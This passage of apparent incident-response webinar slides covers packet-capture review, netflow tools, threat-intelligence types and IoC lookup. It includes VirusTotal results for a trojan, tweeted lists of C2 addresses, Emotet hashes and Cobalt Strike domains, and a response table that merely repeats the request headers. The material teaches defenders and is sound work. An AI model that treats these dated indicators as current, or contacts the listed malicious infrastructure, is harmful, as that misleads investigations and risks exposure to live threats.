<tbody>
<tr>
<td>2007-08-14 11:13:30</td>
<td><a href="http://www.google.it/">www.google.it/</a></td>
<td>1521</td>
<td>GET</td>
<td>info.xml</td>
</tr>
</tbody>
</table>

Xplico Interface

URL: http://www.google.it/

HTTP Request

| GET | /HTTP/1.1 |
| Host: | WWW.google.it |
| User-Agent: | Mozilla5.0 (X11; U; Linux i686; it; rv:1.8.1.5) Gecko/20060123 SUSE/2.0.0.5.1 |
| Firefox/2.0.0.5 |
| Accept: | text/html,application/xhtml+xml,application/xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 |
| Accept-Language: | it;en-us;q=0.7,en;q=0.3 |
| Accept-Encoding: | gzip |
| Accept-Charset: | ISO-8859-1,utf-8;q=0.7,*;q=0.7 |
| Keep-Alive: | 300 |
| Connection: | keep-alive |
| Cookie: | PREF-ID=cc67278288a8a3c6;TM=1187080678;LM=1187080678;S=4tjAoyr72se_bGXY |

HTTP Response

| GET | /HTTP/1.1 |
| Host: | WWW.google.it |
| User-Agent: | Mozilla5.0 (X11; U; Linux i686; it; rv:1.8.1.5) Gecko/20060123 SUSE/2.0.0.5.1 |
| Firefox/2.0.0.5 |
| Accept: | text/html,application/xhtml+xml,application/xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 |
| Accept-Language: | it;en-us;q=0.7,en;q=0.3 |
| Accept-Encoding: | gzip |
| Accept-Charset: | ISO-8859-1,utf-8;q=0.7,*;q=0.7 |
| Keep-Alive: | 300 |
| Connection: | keep-alive |
| Cookie: | PREF-ID=cc67278288a8a3c6;TM=1187080678;LM=1187080678;S=4tjAoyr72se_bGXY |
Netflows: NFSen

- **Graphical UI to nfdump**
  
  "a toolset in order to collect and process netflow and sflow data, sent from netflow/sflow compatible devices. The toolset supports netflow v1, v5/v7/v9/IPFIX and SFLOW. nfdump supports IPv4 as well as IPv6."
One more thing...

- Any idea what this is?

- Would you recognize **Data exfiltration** via DNS?
Threat Intelligence / IoCs
Short introduction: (Cyber) Threat Intelligence (TI/CTI)

• Definition by National Cyber Security Centre (NCSC)
  – “As with traditional intelligence, a core definition is that threat intelligence is information that can aid decisions, with the aim of preventing an attack or decreasing the time taken to discover an attack.”

• Four subtypes
  – **Strategic** Threat Intelligence
    • high-level information, consumed at board level / senior decision-makers
    • unlikely to be technical
      – e.g., a report indicating that a particular government is believed to hack into foreign companies who have direct competitors within their own nation
  – **Operational** Threat Intelligence
    • Is about specific impending attacks against the org; is initially consumed by CISO, etc.
    • Usually only governments will have the necessary knowledge about attack groups and their infrastructure to collect this type of intelligence
Threat Intelligence

- **Technical** Threat Intelligence
  - usually built around so-called **Indicators of Compromise (IoC)** such as
    - IP addresses of command-and-control servers (C2 servers)
    - hash sums of malicious files found on a system
    - network artefacts
    - ...
  - often has a short lifetime
  - Usually consumed automatically, e.g., through importing feeds
    - Fed into systems like IDS, SIEM, etc.
    - Fed into internal TI databases, such as MISP
  - Of highest value during initial investigations
Threat Intelligence

- **Tactical Threat Intelligence**
  - often referred to as Tactics, Techniques, and Procedures (TTPs)
  - information about how threat actors are conducting attacks and what tools they are typically using
  - May become important during investigations to get a “bigger picture”
    - e.g., an attacker using various tools and exploiting different vulnerabilities in order to successfully compromise multiple hosts operated in different security zones throughout the organisation (lateral movement)
  - May also lead to security policy changes in your org
    - e.g., ensure that system logging will capture the use of PsExec in the future (as this is being used by Threat Actor xyz a lot)

“Pyramid of Pain”
(David J. Bianco)
Searching for IoCs during an investigation

- So you found that malware sample, saw C2 communication, ... What now?
- There’s sooo many “IoC search engines” out there
  - Obviously your favourite search engine(s)
  - VirusTotal (VT)
    - Is not only about scanning suspicious files
    - be careful what you upload, though!
  - Everything (!) from abuse.ch
  - Even Especially Twitter is a useful source!
- Ready to set up your own MISP instance yet? ;-}
VirusTotal

Analyze suspicious files and URLs to detect types of malware, automatically share them with the security community.

By submitting data below, you are agreeing to our Terms of Service and Privacy Policy, and to the sharing of your Sample submission with the security community. Please do not submit any personal information; VirusTotal is not responsible for the contents of your submission. Learn more.

URL, IP address, domain, or file hash

By submitting data above, you are agreeing to our Terms of Service and Privacy Policy, and to the sharing of your Sample submission with the security community. Please do not submit any personal information; VirusTotal is not responsible for the contents of your submission. Learn more.
# VirusTotal

<table>
<thead>
<tr>
<th>DETECTION</th>
<th>DETAILS</th>
<th>BEHAVIOR</th>
<th>COMMUNITY</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ad-Aware</td>
<td>IL:Trojan.MSIL.Zilla.11065</td>
<td>ALYac</td>
<td>IL: Trojan.MSIL.Zilla.11065</td>
</tr>
<tr>
<td>Awest</td>
<td>Win32.PWSX-gen [Trj]</td>
<td>AVG</td>
<td>Win32.PWSX-gen [Trj]</td>
</tr>
<tr>
<td>BitDefender</td>
<td>IL:Trojan.MSIL.Zilla.11065</td>
<td>CrowdStrike Falcon</td>
<td>Win/malicious_confidenca_80% (D)</td>
</tr>
<tr>
<td>Cyfanca</td>
<td>Unsafe</td>
<td>Cynet</td>
<td>Malicious (score: 100)</td>
</tr>
<tr>
<td>Cyren</td>
<td>W32/MSIL_Kryptik.BHF.gen[Eldorado]</td>
<td>DrWeb</td>
<td>Trojan.Inject4.2036:07</td>
</tr>
<tr>
<td>Elastic</td>
<td>Malicious (high Confidence)</td>
<td>Emsisoft</td>
<td>IL.Trojan.MSIL.Zilla.11065 (B)</td>
</tr>
<tr>
<td>eScan</td>
<td>IL.Trojan.MSIL.Zilla.11065</td>
<td>ESET-NOD32</td>
<td>A Variant Of MSIL/Kryptik.ADNU</td>
</tr>
<tr>
<td>FireEye</td>
<td>Generic:mg.b378fd54db06c33ab</td>
<td>Fortinet</td>
<td>MSIL/Kryptik.ADNUI.tr</td>
</tr>
<tr>
<td>GData</td>
<td>IL.Trojan.MSIL.Zilla.11065</td>
<td>Ikarus</td>
<td>Trojan:MSIL.Inject</td>
</tr>
<tr>
<td>Kaspersky</td>
<td>HEUR: Trojan-Spy MSIL.Noon.gen</td>
<td>Malwarebytes</td>
<td>Malware.AI.11941874</td>
</tr>
<tr>
<td>MAX</td>
<td>Malware (al Score=88)</td>
<td>MaxSecure</td>
<td>Trojan:Malware.300983.susgen</td>
</tr>
<tr>
<td>Panda</td>
<td>TlR/Gd6o.A</td>
<td>SecureAge APEX</td>
<td>Malicious</td>
</tr>
</tbody>
</table>

**SHA256 Hash:** d0ac8819e7e6949064b5012d24f92d84e85ac358ec3b1e58a72a5da2e671647a
# VirusTotal

## Scanned URLs

<table>
<thead>
<tr>
<th>Date</th>
<th>Scanned</th>
<th>Detections</th>
<th>Status</th>
<th>URL</th>
</tr>
</thead>
</table>

## Contacted Domains

<table>
<thead>
<tr>
<th>Domain</th>
<th>Detections</th>
<th>Created</th>
<th>Registrar</th>
</tr>
</thead>
<tbody>
<tr>
<td>secure01-redirect.net</td>
<td>19 / 90</td>
<td>2021-09-11</td>
<td>-</td>
</tr>
</tbody>
</table>

## Contacted IP Addresses

<table>
<thead>
<tr>
<th>IP Address</th>
<th>Detections</th>
<th>Autonomous System</th>
<th>Country</th>
</tr>
</thead>
<tbody>
<tr>
<td>94.142.141.236</td>
<td>1 / 90</td>
<td>35196</td>
<td>RU</td>
</tr>
<tr>
<td>192.168.0.1</td>
<td>0 / 90</td>
<td>-</td>
<td>-</td>
</tr>
</tbody>
</table>

## Execution Parents

<table>
<thead>
<tr>
<th>Date</th>
<th>Scanned</th>
<th>Detections</th>
<th>Type</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>2021-11-24</td>
<td>28 / 68</td>
<td></td>
<td>Win32 EXE</td>
<td>vbc.exe</td>
</tr>
<tr>
<td>2021-11-25</td>
<td>22 / 58</td>
<td></td>
<td>MS Word Document</td>
<td>PURCHASE_ORDER.xlsx</td>
</tr>
</tbody>
</table>

## Dropped Files

<table>
<thead>
<tr>
<th>Date</th>
<th>Scanned</th>
<th>Detections</th>
<th>File type</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>2021-11-23</td>
<td>0 / 58</td>
<td></td>
<td>JavaScript</td>
<td>4474ED.lck</td>
</tr>
<tr>
<td>2021-11-24</td>
<td>28 / 68</td>
<td></td>
<td>Win32 EXE</td>
<td>vbc.exe</td>
</tr>
<tr>
<td>?</td>
<td>?</td>
<td></td>
<td>file</td>
<td>839f42d0e62ee0971b21a42b2cdefc023d0f9e02139</td>
</tr>
</tbody>
</table>
VirusTotal

Network Communication

DNS Resolutions
- secure01-redirect.net
  94.142.141.236
  + 00A8DDEE56ce5f44f8f28e32fb8c1010107fa0000

IP Traffic
94.142.141.236:80 (TCP)

File System Actions
Files Deleted
- %USERPROFILE%\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat
- %USERPROFILE%\AppData\Roaming\Microsoft\Crypto\RSA\SID\%18a242f6c93de3e3c7d172eeea504
- %USERPROFILE%\AppDataRoaming\CF2FCD1DBF31E.ick
VirusTotal

19 security vendors flagged this domain as malicious

<table>
<thead>
<tr>
<th>Date resolved</th>
<th>Detections</th>
<th>Resolver</th>
<th>IP</th>
</tr>
</thead>
<tbody>
<tr>
<td>2021-11-25</td>
<td>0 / 90</td>
<td>VirusTotal</td>
<td>212.193.50.242</td>
</tr>
<tr>
<td>2021-11-25</td>
<td>1 / 90</td>
<td>VirusTotal</td>
<td>94.142.141.236</td>
</tr>
<tr>
<td>2021-11-24</td>
<td>1 / 90</td>
<td>VirusTotal</td>
<td>95.213.216.149</td>
</tr>
<tr>
<td>2021-11-23</td>
<td>0 / 90</td>
<td>Microsoft Sysinternals</td>
<td>194.86.248.29</td>
</tr>
<tr>
<td>2021-11-21</td>
<td>1 / 90</td>
<td>VirusTotal</td>
<td>87.249.53.24</td>
</tr>
<tr>
<td>2021-11-20</td>
<td>1 / 90</td>
<td>VirusTotal</td>
<td>45.8.127.147</td>
</tr>
<tr>
<td>2021-11-20</td>
<td>0 / 90</td>
<td>VirusTotal</td>
<td>178.20.44.71</td>
</tr>
<tr>
<td>2021-11-19</td>
<td>1 / 90</td>
<td>VirusTotal</td>
<td>185.186.142.132</td>
</tr>
<tr>
<td>2021-11-18</td>
<td>1 / 90</td>
<td>VirusTotal</td>
<td>194.67.205.113</td>
</tr>
<tr>
<td>2021-11-18</td>
<td>0 / 90</td>
<td>VirusTotal</td>
<td>46.29.166.98</td>
</tr>
</tbody>
</table>
abuse.ch

• “abuse.ch is a research project at the Bern University of Applied Sciences (BFH). It is the home of a couple of projects that are helping internet service providers and network operators protecting their infrastructure from malware. IT-Security researchers, vendors and law enforcement agencies rely on data from abuse.ch, trying to make the internet a safer place.”
  – Provides regularly updated feeds and blocklists for your SIEM, IDS, ...
  – Add these to your bookmarks:
    • https://urlhaus.abuse.ch/
    • https://bazaar.abuse.ch/
    • https://feodotracker.abuse.ch/
    • https://threatfox.abuse.ch/
abuse.ch

Vendor Threat Intelligence
- CAPE Sandbox [QuakBot]
- Dr. Web vxTaskbar [Malware]
- FilesScan.IO [Likely Malicious]
- InQuest [MAL-BOX]
- Intezec [QuakBot]
- CERT-PL MWDB
- ReversingLabs TitaniumCloud [Win32_Temper_Kill]
- Spamhaus Hash Blocklist [Suspicious file]
- Threatray [quakbot]
- Hatching Triage [quakbot]
- UnpacMe
- VMRay [Cryptolocker]
- YOROI YOMI [Malicious File]
**Twitter**

**TheAnalyst**
@ffforward

**IOC:**
/assetsunclaimed.org

* kittencloud.top on 47.90.247.39 also had *parrotcloud.top, *rabbitcloud.top, *turtlecloud.top, *puppycloud.top going on since July at min.

**VBS:**
bazaar.abuse.ch/sample/32a1ff...

**DLL:**
bazaar.abuse.ch/sample/b3fb774...

**C2:**
34.125.68.94
34.129.21.53
34.72.122.178

**RedBeard**
@RedBeardIOCs

**#Emotet**
a84f4c76ef86d165088979cb915066b55c3d84cb9238
6e3aa88eaba4e6e0c9b5e
1f6c656e68ac32e0c43c66a9b95f20d4941372815
44417617eaf3469ae3e
d280c9da4fd90a5400b1361e6e2ee7f8abe6179793d
370d320c0b4f277208b7
4072b7b218f6015d89ea89323bb25747b5c27e7859d7
5cf7df342b7582f230a3

**Tweet übersetzen**
1:42 nachm. - 22. Nov. 2021 - AutomatiKOCs

**Joe Morales**
@joemorse

**#CobaltStrike**
5.255.93.144
dxabt.[.]com
109.7.254.162
crtdn.[.]com
80.92.205.150
fiftp.[.]com
23.152.0.33
sncbe.[.]com
66.70.246.7
demtp.[.]com

**Tweet übersetzen**

6 Retweets 15 „Gefällt mir“-Angaben
Finally: give me some tools!

- There are so many awesome (and free!) tools out there
  - https://github.com/meirwah/awesome-incident-response
  - https://forensics.cert.org/
  → There usually is no need to develop your own tools
- Have a look at some of the forensics distributions out there...
  - CAINE, DEFT, SANS SIFT, KAPE, ...
- ... and put ‘em on a thumb drive
Wrapping up
Wrapping up

- **Quick and dirty** Live Response often is good enough for investigations
  - Many attackers aren’t that clever
  - Even if the intruder has tried to remove traces, she might have missed something
  - Your initial triage will not destroy all/most artefacts!

- **Timelines are Really Cool**

- There’s no such thing as “point-and-click forensics”
  - Yes, there’s so many **awesome** tools out there but you need to know the tools and their limitations/bugs (That is true even for €€€ forensics suites)

- Sadly, we could only scratch the surface this time...

- So, it’s a **real, real** incident? Well, it’s time to acquire the evidence
  → Watch out for the next webinar(s)!
Thank you

Any questions?

Next Webinar: Memory Acquisition
December 9th, 2021
www.geant.org
References

- https://www.sleuthkit.org/
- https://git.scc.kit.edu/KIT-CERT/Linux-Forensics-Checklist/-/blob/master/Linux-Forensics-Checklist.md
- https://docs.microsoft.com/en-us/sysinternals/
  - https://live.sysinternals.com/
- https://github.com/meirwah/awesome-incident-response
- https://www.circl.lu/pub/tr-22/
- https://circl.lu/pub/tr-30/
- https://ondrej-sramek.gitbook.io/security/forensics/untitled
References

- https://www.caine-live.net/
- https://github.com/airbus-cert/regripppy
- https://github.com/keydet89/RegRipper3.0
- https://www.enisa.europa.eu/topics/trainings-for-cybersecurity-specialists/online-training-material/technical-operational/
- https://github.com/phaag/nfdump
- http://nfsen.sourceforge.net/
- https://www.sans.org/tools/sift-workstation/
- https://www.kali.org/
References

- https://github.com/diogo-fernan/ir-rescue
- https://github.com/alexandreborges/malwooverview
- https://www.hexacorn.com/blog/
- https://www.xplico.org/
- https://github.com/google/timesketch